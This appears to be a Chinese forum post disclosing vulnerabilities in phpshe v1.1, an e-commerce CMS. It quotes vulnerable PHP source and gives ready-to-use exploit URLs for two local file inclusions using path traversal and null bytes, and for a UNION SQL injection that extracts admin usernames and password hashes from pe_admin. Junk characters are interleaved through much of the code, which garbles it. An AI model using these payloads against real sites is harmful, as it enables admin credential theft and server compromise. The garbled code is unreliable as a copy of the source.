phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
2 ?, Q8 m8 b4 M* j! J! P/* ========================
6 c0 k8 ~9 c  C4 |) h3 R/* By: : Kn1f3
/* E-Mail : 681796@qq.com
% z6 l9 k: d0 [/*******************************************************/
0×00 整体大概参数传输

; |  ^, ?, V3 N

6 S( A5 R2 f6 A, d* V//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
! M4 C! a. y( J- x$ h9 welse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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//首页文件
9 F# g( o! L* D9 r+ s$ u: A* {3 f# ^<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
/ E8 j- p: @. a1 rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
9 ^" l  b. Y$ }( M4 O//common 文件 第15行开始
5 n8 V/ G5 F1 W( ~# S( surl路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
3 B9 U5 X% t* k) g$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
  F% Q( X* V' _" Z) {

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0×02 搜索注入
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<code id="code2">

//product.php文件
! {5 h+ e$ _2 o' K. J! C7 ccase 'list':
% a- Q* B; ^+ h; n$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
) s- W+ q5 N. P5 W$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
/ G* P7 X( h& j% L4 g0 R/ D; A1 @if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ \8 \9 O* @8 [/ _. W}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
! r, _6 ]9 {: Eif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
0 ^& [7 z; ~+ z# ]}
else {
$sqlwhere .= " order by `product_id` desc";
# Y+ h. d! h4 p, E  |( ~}
% X4 K6 J1 t% }% ]- ?! O  c$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
: V1 f- ?/ ?& z; }( Y0 A; S- s6 R//热卖排行
8 S; V( @9 ?8 w+ q( E( k/ [$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
  |, O9 K" W4 }1 _include(pe_tpl('product_list.html'));
1 S+ D6 ]8 R  ~1 N//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
% v3 F: @) l  ^# i5 P- ^& B, xreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" L+ A" T" o  b% `1 b}
//exp
/ ^5 S$ U/ L6 Q! F7 d* Z. kproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
% \9 ^: m# T; k' m" m% }* Y

</code>

0 w2 ?  S5 o+ P$ M$ p0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

) ]# E; ^6 l% c' r" b1 o9 _2 Y6 V$order_id = pe_dbhold($_g_id);

% l9 H* L0 i4 {' S/ S' p5 E$cache_payway = cache::get('payway');

& {3 D& Y. W1 R8 d  Y; qforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

4 H4 f. U0 J: ?' A9 S/ gif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

# v% g, F$ c$ @% R& [- j# H}

6 m1 C, _6 f1 A+ O}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

. Z! R4 u  t* S8 D; W$ O1 s+ Xif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

: _( I+ ?' J- @* N% b) G) G6 uforeach ($info_list as $v) {

- h7 E8 n/ Q1 N0 y) T$order['order_name'] .= "{$v['product_name']};";

, @9 D4 G0 d$ n) J  y}

( C7 w5 }9 W( t. ?2 a0 ]echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

  j4 k: r5 v1 Q1 }. H}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

}

}

, D' [! z1 B1 y; ^, c) N$seo = pe_seo('选择支付方式');

, x1 e. H  _  V+ s4 c9 Zinclude(pe_tpl('order_pay.html'));

% i* w, Y. D1 o, |  Nbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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